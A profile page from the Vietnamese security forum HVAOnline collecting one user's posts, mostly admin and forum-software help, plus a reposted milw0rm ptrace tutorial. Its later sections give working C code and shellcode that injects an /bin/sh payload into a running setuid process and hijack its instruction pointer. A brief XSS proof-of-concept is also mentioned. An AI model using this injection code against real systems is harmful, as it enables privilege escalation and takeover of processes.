banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: onlinehack  XML
Profile for onlinehack Messages posted by onlinehack [ number of posts not being displayed on this page: 2 ]
 
http://inpics.net/

Một kho tutorial bằng hình ảnh đầy đủ từ Microsoft Office, OpenOffice, đến Web Layout(Dreamweaver, HTML&CSS) ,Web Graphics ( Photoshop Elements, Fireworks),Web Programming ( MySQL, PHP, Perl).
Chúc các bạn học tốt smilie

meomeo_bebong wrote:

onlinehack wrote:
Tôi nhờ cậu thử bao giờ nhỉ smilie 

Nhường công cho lại chê smilie . Mà tớ cũng thấy lạ tại sao bạn k0 làm lại đi hỏi tớ ?! Muốn quick nhau thì nã bom vào nick yahoo hay PM cũng được . Tớ k0 thích chat trên này nữa smilie Mà chuyện ra chuyện đó , mà tính tớ lại thẳng thật nên xin miễn cho
Byee, tớ k0 quay lại đây đâu
PS: XIn nhờ BQT khóa topic lại dùm ! THANHKSSS ! smilie 


Hỏi thật, vì mình không gửi tin , sao lại nhận được tin của mình nhỉ ?
Mong bạn xem lại, có đúng là mình gửi tin không ? Nếu đúng thì chắc chắn có sai sót, vì chẳng lẽ mình làm mà mình không nhớ ?
Tin nhắn là thứ private, mình kiểm tra outbox cũng không có thư nào gửi tới bạn từ hòm thư của mình cả. Vì vậy mong chú ý.
Cảm ơn smilie

meomeo_bebong wrote:
Hôm qua onlinehack có nhờ cháu thử chức năng quên pass. Cháu đẫ thử của forum và chộp được cái này . Cháu thấy chờ mail recovery pass lâu quá mất gần 1 tuần , trước kia chỉ có vài ba ngày . Và đền khi đổi pass mới ( cháu làm rất cẩn thận ) thì thấy thông báo này ạ :
[img]http://i216.photobucket.com/albums/cc320/vodanhthanh/matpass.png?t=1199852979[/img] 


Tôi nhờ cậu thử bao giờ nhỉ smilie
Bạn đọc bài viết http://www.battleforums.com/forums/665766-post91.html.
Còn Port forward thì ở đây : http://portforward.com/
Chúc vui smilie

Trong trường hợp này, đúng là bạn phải yêu cầu restart lại server smilie vì MySQL không được cấp phát thêm bộ nhớ gây ra lỗi .

Golden Autumn wrote:

onlinehack wrote:
Ban đầu tôi đã nói là bồ đổi chỗ decimal point và thousand point theo hình của bồ, tức là decimalpoint bồ để là "," và thousand point phải để là "."
Còn decimal places để là 0 thì đúng rồi .
Được chưa nhỉ ? 


Éc nếu decimal places là 0 thì sản phẩm hàng ngàn nó thành 20VND và sản phẩm hàng triệu nó thành 1VND chứ bro smilie
Hai chổ này decimal point và thousand point không quan trọng, cái này dùng để phân biệt số nào là thập phân, số ngàn mà thôi còn chổ này mới quan trọng decimal places (nếu để 0 thì nó có giá trị gì đâu mà ... nhìn chứ) smilie  


Chịu bồ luôn smilie Tức là thế này ,đổi chỗ decimal point và thousand point thì khi bồ nhập 20000 VND, hiển thị sẽ là 20.000 VND ,còn nếu không đổi thì nó sẽ là 20,000 VND , nhưng giá trị thật vẫn là 20000 VND ( trong trường hợp này decimal places để 0 nếu bồ không cần hiển thị phần thập phân , còn nếu để 999.999,999 VND gì đó thì tuỳ smilie , bồ sẽ để là 3 )
smilie

Golden Autumn wrote:

onlinehack wrote:

Decimal Point bồ vẫn để là "." do đó khi nhập 20.000 VND , decimal places lại để giá trị 0 nên không có giá trị thập phân -> kết quả hiển thị là 20 . 


Giả sử trong một category có 2 sản phẩm :
Code:
Hoa có giá tiền 25.000
Quả có giá tiền 1.000.000


Vậy tôi phải nhập như thế nào ? vì nếu như Decimal Places để là 3 thì chắc chắn có 1 sản phẩm hiển thị đúng và 1 sản phẩm hiển thị sai (sản phẩm 1 triệu) . Nếu tôi để 6 thì tất nhiên sản phẩm tiền chục ngàn kia nó thêm 3 con số 0 .
Vậy làm thế nào tôi có thể hiển thị chính xác số tiền của 2 sản phẩm trong 1 category với điều kiện sản phẩm thứ nhất là có giá tiền là 1.000.000 và sản phẩm thứ 2 có giá tiền là 25.000 .



 


Ban đầu tôi đã nói là bồ đổi chỗ decimal point và thousand point theo hình của bồ, tức là decimalpoint bồ để là "," và thousand point phải để là "."
Còn decimal places để là 0 thì đúng rồi .
Được chưa nhỉ ?

Decimal Point bồ vẫn để là "." do đó khi nhập 20.000 VND , decimal places lại để giá trị 0 nên không có giá trị thập phân -> kết quả hiển thị là 20 .

Bồ đổi chỗ Decimal Point và Thousand Point, đổi Symbol Right thành VND .

ngoungnguyen wrote:
Kính gửi ban quản trị điều hành hvaonline.Em có một ý kiến muốn nêu ra như sau.
ông cha ta đã nói học phải đi đôi với hành.tất cả các thành viên trong hvaonline đa số đều muốn học hỏi và nâng cao trình độ hiểu biết của mình trong vấn đề hack (đặc biệt là với dân newbie như chúng em) .sách vở thì có thể tìm được để học nhưng áp dụng thì hơi khó.chính vì vậy em nghĩ sao ban quản trị hvaonline không lập ra thêm một ban nữa.ban này sẽ lập ra một số website hay forum bị lỗi tử những lỗi cơ bản cho đến nâng cao để mọi người có thể vào và tập hack học hỏi nâng cao tay nghề.em biết ban quản trị hvaonline rất bận rộn vì ai cũng phải có việc của mình.nhưng hãy vì sự nghiệp của nền IT việt Nam nên em mong rằng các anh chị sẽ ủng hộ ý kiên của em.nếu ý kiến cua em có gì sai mong các anh chị bỏ qua cho em.Rất mong được sự ủng hộ !!  


Bạn bỏ tiền thuê một cái server smilie Tớ sẽ phụ trách mảng này giúp smilie
Thông thường có nhiều cách để học hỏi. Không phải lúc nào cũng cần người ta trang bị hết công cụ cho bạn .Cố gắng tận dụng tất cả những thứ mà mình có để tìm hiểu. Nếu bạn muốn, bạn sẽ làm được .

Chủ đề này hướng dẫn các bạn việc tạo và sử dụng sshkey để tự động :

a) Đăng nhập

b) Tạo backup

c) Chạy lệnh từ shell

Tạo khóa SSH

1) Đăng nhập vào workstation thứ nhất ( lấy ví dụ đăng nhập vào workstation admin.fbsd.nixcraft.org bằng người dùng: vivek ) Hãy tham khảo việc cài đặt như hình sau - Bạn sẽ đăng nhập, trong hệ thống cục bộ, bằng người dùng bạn muốn tạo kết nối SSH mà không cần mật khẩu .




2) Tạo khoá mã ( ở đây là workstation Free BSD ), nhập :
$ ssh-keygen -t rsa

Gán pass-phrase ( nhấn [enter] 2 lần nếu bạn không muốn dùng pass-phrase). Nó sẽ tạo ra 2 files trong thư mục ~/.ssh
như sau :

* ~/.ssh/id_rsa : khoá nhận dạng (private)
* ~/.ssh/id_rsa.pub : khoá công cộng ( public )

3) Sử dụng scp để copy id_rsa.pub vào server rh9linux.nixcraft.org đến file authorized_keys2 . Đây là quá trình cài đặt khoá công cộng cho server

$ scp .ssh/id_rsa.pub vivek@rh9linux.nixcraft.org:.ssh/authorized_keys2

4) Từ workstation FreeBSD đăng nhập vào server:

$ ssh rh9linux.nixcraft.org

5) Thay đổi pass-phrase trên workstation (nếu cần thiết):

$ ssh-keygen -p

6) Sử dụng ssh-agent để tránh phải nhập lại pass-phrase. Trong workstation FreeBSD nhập :

$ ssh-agent $BASH
$ ssh-add

Gõ pass-phrase

Từ bây giờ, bất cứ lúc nào kết nối đến server bạn đều không bị hỏi mật khẩu.

7) Xoá khoá giữ bởi ssh-agent

a) Để xoá tất cả các khoá

$ ssh-add -D

b) Để xoá một khoá chỉ định

$ ssh-add -d key

c) Để liệt kê các khoá :

$ ssh-add -l

Nguồn : nixCraft

ancomputer wrote:
mình mới cài 1 forum vbb, sau đó mình cài thêm 1 skin mới cho nó và mình muốn xóa skin cũ đi nhưng ko đc, nó báo lỗi là "The default style set within the vBulletin Options can not be deleted. Please change this before attempting to delete the style." xin các bạn giúp đỡ ????
smilie  


Bạn đặt style mới là default , rồi mới xoá skin cũ được smilie

gamma95 wrote:

onlinehack wrote:
P/S : Đã đọc tin nhắn, không sao cả, rất vui vì được làm việc cùng các bạn smilie
Còn tại sao bên trên mình nói mập mờ, đơn giản là vì không muốn một lúc sau nhiều bạn bắt chước thì mệt smilie . Cho nên mới có bạn hiểu nhầm .
@gamma95 : làm kiểu này cũng không hay lắm smilie 

Hehe, tui mà làm hay thì liệu đồng chí có phát hiện ra để post topic con gián này ko ? Hồi sáng chỉ làm demo ở mức PoC nên mới lộ thế. Đồng chí có sáng kiến gì thì post wa topic "XSS-YAHOO" gì đó của nlfb và bigballhacker mà post nhé. 


không dám smilie lúc nãy phải đăng kí cái nick spartan rồi đấy smilie Đợi mãi không thấy email đâu để vào hỏi thăm smilie
P/S : Đã đọc tin nhắn, không sao cả, rất vui vì được làm việc cùng các bạn smilie
Còn tại sao bên trên mình nói mập mờ, đơn giản là vì không muốn một lúc sau nhiều bạn bắt chước thì mệt smilie . Cho nên mới có bạn hiểu nhầm .
@gamma95 : làm kiểu này cũng không hay lắm smilie
Nhờ bác conmale đuổi giúp em con gián này và con gián của mod gamma95 luôn thể smilie

ancomputer wrote:
mình đã search rồi bạn à nó báo là ko tìm thấy cụm từ đó. giờ làm sao đây bạn ??? 

Bạn chọn Styles & Templates -> Search in Templates ( trong admincp) , làm tương tự .

ancomputer wrote:
mình mới cài 1 forum vbb share nhưng nó có mấy cái còn dính tên tác giả, muốn xóa ( hoặc thay đổi nội dung ) mấy cái này phải làm sao, mình có vào admincp để chỉnh sửa nhưng ko tìm thấy mấy phần này, xin các bạn chỉ giúp. ( mình có gửi hình minh họa cho các bạn dễ hiểu), cảm ơn các bạn.




www.xomnhalac3.com/untitled.bmp 


Bạn vào admincp -> Languages & Phrases -> Chọn Search In Phrases -> copy cái đoạn muốn sửa vào đấy -> edit .

phstiger wrote:

alexdn143 wrote:
Trong file kiểm tra bạn nên tạo một biến session id chẳng hạn. Sau đó bạn thực hiện kiểm tra session id này trước nếu id này tồn tại thì cho phép đi tiếp, nếu không thì bắt đăng ký, nếu đăng ký thành công thì gán sesion id này với user đăng ký lúc trước. 

Thì biết là thế nhưng mình cần demo cơ. Chứ nói như thế thì mình đọc nhiều rùi.
Và còn kết hợp với time to live của session nữa chứ 


Bồ nên đọc kĩ, rồi tự làm smilie Có vẻ bồ chưa hiểu rõ lắm đâu smilie

Huyxvn wrote:
Lỗi này đc cái nghịch cũng vui, chưa biết có khai thác đc j ko. Dám bào nếu gửi cái này cho ai thì người đó cả đời ko vào đc Inbox nữa (nếu ko biết chặn Script rồi del cái ms đó đi), dùng vòng lặp cho hiện ra hàng loạt alert cũng vui phết. Tiện thể quảng cáo mấy cái trang web. Rồi cũng có thể tăng Page View của blog mình bằng cách này 


Đúng là .. chán thật smilie

babudacu wrote:
em muốn làm một forum, với bộ khung do riêng mình tạo ra chứ không phải theo mẫu có sẵn sau đó chỉnh sủa lại thì làm cách nào hả các anh? Em mới bắt đầu học làm forum nên cũng không biết nhiều lắm đâu. mong các bác nói dễ hiểu một chút và nếu xây dựng được một bộ khung rồi, mỗi lần chỉnh sủa thì sao lưu dữ liệu bằng cách nào. Đừng cho em là ngớ ngẩn nhé smilie 


Nếu em muốn code từ đầu, thì em nên hỏi anh Nguyễn Bá Thành (nbthanh) ở diendantinhoc.net . Anh Thành nổi tiếng bởi 1 forum code từ đầu đến đuôi smilie
Còn nếu ý em chỉ là làm một forum đơn giản, chưa có nội dung gì, thì em dùng các opensource forum như SMF, phpBB...
SMF ở đây : http://www.simplemachines.org/
phpBB ở đây : http://www.phpbb.com/
Ngoài ra còn có thể dùng Joomla và thêm các extension như Fireboard : Em xem ở www.joomla.org
Với các database cỡ nhỏ, em có thể dùng cacs tool backup có sẵn như mysqldumper, sqlbackup. Nếu lớn thì nên dùng mysqldump từ dòng lệnh.
Nếu em chưa hiểu chỗ nào, em cứ hỏi thêm.
Thân mến .

babudacu wrote:
các pác ơi! em đang dùng vista home basic, em muốn vào gpedit.msc để xem chính sách nhóm mà không thể nào vào được từ lệnh run. Không biết là nó làm sao nữa,pác nào có cách nào để xem được chính sách nhóm không thì giúp em với. smilie  


Có lẽ bản Home của bạn không support Group Policy .
Thân .

ptrace() is a system call that enables one process to *control* the execution of another one.
The traced process (the child) behaves normally until it caughts a signal and when this occur the process enter in STOPPED state and informs the tracing process by a wait() system call. After this the tracing process (the parent) decides what the traced process should do (responds). Take in mind that if the traced process caughts a SIGKILL it will be killed!


#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

The field 'request' is a value that determines the action that has to be performed.
Here below you will find some actions that you can specify in the ptrace() function:

- PTRACE_GETREGS
This copies the child's General Purpose or Floating-Point registers to location data in the parent.

- PTRACE_SETREGS
This 'request' copies the child's GPR or Floating-Point registers from a location in the parent. (also take a look at this request: PTRACE_POKEUSR).

- PTRACE_CONT
Restarts the stopped child process.

[color=orange]- PTRACE_KILL

Sends to the child process a SIGKILL (to terminate it)

- PTRACE_ATTACH
Attaches to the process identified by the field pid and make the process traced as a child of the tracing process (current process).
As I said before the tracing process became the parent of the traced process (child) and it will receive notifications from the child events but if a getppid is called will return the PID of the original parent.

- PTRACE_DETACH
It restarts the stopped child and detaches the tracing process (child) from the traced process (*parent*). If ptrace has interrupted a syscall that has been called (but not executed) the kernel subtract 2 bytes (from EIP) after PTRACE_DETACH.

If you wanna more informations about ptrace() please read the man pages. (could be useful).




[ 0x02: Have fun with ptrace() ]

Now it's time to *Having fun with ptrace()* function!!
In this section I'll try to explain how to (p)trace a process and intercepts
syscall (and modify its arguments). The best way to explain what we have to do
is to show to you a source code:
Code:
/* target1.c */
#include <stdio.h>
#include <unistd.h>
int main() {
char str[]="Hi\nSup Guys?\n";
write(0, str, strlen(str));
return 0;
}
/* end target1.c */
(.)Output:
$./target1
Hi
Sup Guys?
$
And here below you will find the tracer1.c code:
/* tracer1.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /path/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_write) { //Is our syscall number the SYS_write ??
regs.edx = 3; //set edx to 3 (MAX msg length -> more info here: man write(1) )
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer1.c */
(.)Output:
#./tracer1 /home/omni/target1
Hi
#
Ehy what's that? As you can see the output of tracer1 is *Hi\n* !
But why? Look at the tracer1.c source code; there is an "important" assignment:
[...]
regs.edx = 3;
[...]
We set the register edx to 3 (maximum length of "string" in our write() syscall).
Look in depth what the tracer1 do:
1. check if the syscall write() is called
2. read the CPU registers
3. set the register edx to 3
4. detach from the process traced
Eg:
write(0, -> stdout
"Hi\nSup Guys?\n, -> it will print only Hi\n (edx = 3)
3); -> modified by edx (edx = 3)
Do you get it? Simple right? ;)
Cool, now I just wanna try to explain an other interesting example; so look
at the source code of target2.c and tracer2.c !!!
/* target2.c */
#include <stdio.h>
#include <unistd.h>
int main() {
printf( "user id: %d\n", getuid() );
execl("/bin/csh", "csh", NULL, 0);
return 0;
}
/* end of target2.c */
(.) Output:
$ ./target2
user id: 1000
%id
uid=1000(omni) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)
And now.. tracer2.c :
/* tracer2.c */
#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("please specify the absolute path of the target1\n");
printf("%s < /home/omni/articles/target1 >\n", argv[0]);
exit(1);
}
int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;
pid = fork();
if (pid == 0) { //child
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent
wait (&status); //wait the child
while(1) {
ptrace(PTRACE_SYSCALL, pid, 0, 0); //restart the stopped child and send a SIGTRAP when
//a syscall is called to inspect the arguments
wait(&status); //wait again the child
ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax; // here I have the original eax (the syscall number)
if (orig_syscall == SYS_getuid32) {
regs.ebx = 0; //set ebx to 0 (root access)
ptrace(PTRACE_SETREGS, pid, 0, ®s); //the the GP register(s)
}
}
}
ptrace( PTRACE_DETACH, pid, NULL, NULL );
return 0;
}
/* end of tracer2.c */
(.) Output:
# ./tracer2 /home/omni/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Killed!
#
If you read the source code you will find my comments and I thik (/hope) you
will understand; but for lazy people I'll explain the main functions.
[... in the child ...]
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
[....]
Just trace the process..
[... in the parent ...]
1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, ®s);
orig_syscall = regs.orig_eax;
3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, ®s);
}
[....]


Here is a little bit more difficult but if you understand C this will not be a problem smilie

1. Just *restart* the stopped child and read the syscall arguments
2. Read the the CPU registers
3/4. If the syscall is SYS_getuid32 set ebx to 0 and "gain" root access
5. Copy the child registers

And now the /bin/csh shell is *spawned* with root privilege!!

-----------------------------------------------------------------------------[/]

---[ 0x03: Injecting codes.. ]

Injecting codes in a (p)traced ELF is not so difficult; but if you wanna understand easily how to do it you have to read carefully the code.

Here below we have simple.c (the traced process):

Code:
/* simple.c */
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[1024];
scanf("%s", buf);
printf("-> %s\n", buf);
}
/* end of simple.c */
$ gcc simple.c -o simple
# chmod u+s simple
(.) Output:
$ ./simple
Hi
-> Hi
$


Now it's time of our virus code:

Code:
/* virus_loader.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
// shellcode "grepped" from internet (make your own shellcode,
// eg a bind shell)
char virus_payload[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
//inject func prototype
int inject(pid_t pid, long memaddr, void *buf, int buflen);
int main(int argc, char *argv[]) {
pid_t pid; //pid of the ELF that we have to infect
struct user_regs_struct regs; //CPU registers
long address; //where we will put our virus payload
if (argc < 2) {
printf("usage: %s <ELF-pid>\n", argv[0]);
return -1;
}
pid = atoi(argv[1]);
//ATTACH to the pid
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ATTACH");
return -1;
}
// Wait the child.. (the *attached* ELF is the child)
int status = 0;
wait(&status);
printf("[+] %d ATTACHED\n", pid);
//get the CPU registers and put it in our
//struct regs
//We will use it soon..
if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) {
perror("GETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
//calculate the address were we have to PUT our
//virus payload (we will put it into ESP - 1024)
printf("[+] Calculating the address of our payload\n");
address = regs.esp - 1024;
printf("[+] Virus Payload at address: 0x%.8x\n", address);
//inject function is called.. (see below)
if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) {
return -1;
}
//EIP now *points* to our virus payload
regs.eip = address + 2;
printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
//It's time to set EIP and let its to point
//to our virus payload
if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) {
perror("SETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[+] Shell Spawned !!\n");
return 0;
}
// Injection Function
int inject(pid_t pid, long addr, void *virus, int len) {
long payload;
int i = 0;
//copy virus payload into *address* memory (esp - 1024)
while (i < len) {
memcpy(&payload, virus, 4);
//insert the payload into the memory
if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) {
perror("Inject()");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
addr += 4;
virus += 4;
i += 4;
}
return 0;
}
/* end of virus_loader.c */
Let's try it..
--- [ Shell 1 ] ---
$ ls -al simple
-rwsr-xr-x 1 root root 8148 2007-12-14 19:26 simple*
[suid bit ACTIVATED]
$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#
--- [ Shell 2 ] ---
# ps -A | grep simple
4779 pts/3 00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#
Here is a simple example; you can also add your own shellcode (eg a bind shell)
and than give again the control back to the ELF.
-----------------------------------------------------------------------------[/]


---[ 0x04: General Infos ]


- Why is it useful to use ptrace? My opinion is simple; if you are root you can
(WITHOUT LKM) modify syscalls, inject your own codes in a running process and
much more.. ( eg control a process in runtime!! )

ptrace() is also used by debuggers for tracing syscall, set breakpoints, etc;
and this is a great things because you can do it in User Land.

- Is it possible to trace the same process twice?
No, it's not possible; because if you look here:

/usr/src/linux-***/arch/i386/kernel/ptrace.c

you will find:
Code:
if (!(current->ptrace & PT_PTRACED))
goto out; <- GOTO OUT!!!

-----------------------------------------------------------------------------[/]

---[ 0x05: Reference ]

[1] Man of ptrace()
[2] Building ptrace injecting shellcodes
(Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12)

Nguồn : milw0rm
Thêm item vào right click menu


-> Nhấn Start.
-> Đối với người dùng Vista : trong Start Search gõ Regedit để mở Registry Editor.
-> Đối với người dùng XP : Nhấn Run, gõ Regedit để mở Registry Editor.
-> Tìm đến HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers.
-> Nhấn chuột phải và chọn New -> Key. Đặt tên key là Copy To.
-> Phía bên tay phải bạn nhấn chuột phải, chọn subkey tên Default và chọn Modify.
-> Trong Value nhập chuỗi sau: {C2FBB630-2971-11d1-A18C-00C04FD75D13}
-> Tìm đến HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers
-> Nhấn chuột phải và chọn New -> Key. Đặt tên key Move To.
-> Phía bên tay phải bạn nhấn chuột phải, chọn subkey tên Default và chọn Modify.
-> Trong Value nhập chuỗi : {C2FBB631-2971-11d1-A18C-00C04FD75D13}
Nhấn OK
Đóng Registry Editor

Lựa chọn Copy To Folder và Move To Folder sẽ xuất hiện khi nhấn chuột phải vào folder hay file trong Windows Explorer




Nguồn : connectedinternet
làm thế nào tạo folder tên "con" được nhỉ smilie

phstiger wrote:
hic! Site có open được đâu ....... 

Tớ đã kiểm tra, link hoàn toàn bình thường .

Bạn tham khảo bài viết http://vuongquocphp.net/forum/viewtopic.php?f=13&t=4&sid=4308ddf1dba060d6264b9d2251f3afa2 hoặc PHP Manual .

Hôm đó em post bài không được, nghĩ có thể do ISP nên logout rồi access qua host SSH -> vẫn không giải quyết được vấn đề, xem lại HVA có giới hạn gì về bài viết trong 1 ngày không -> không có ,nội dung bài viết lại không quá dài vì thế mới nghĩ do cái tittle. Cảm ơn Fal đã cho mình thử nghiệm .

@Fal : cả 3 bài đều post bài trong box Tán gẫu, mình vừa thử lần thứ 4 với tiêu đề dài, và cũng có thông báo lỗi smilie
Có lẽ đây chính là vấn đề thật sự.
 
Go to Page:  First Page Page 1 Page 3 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|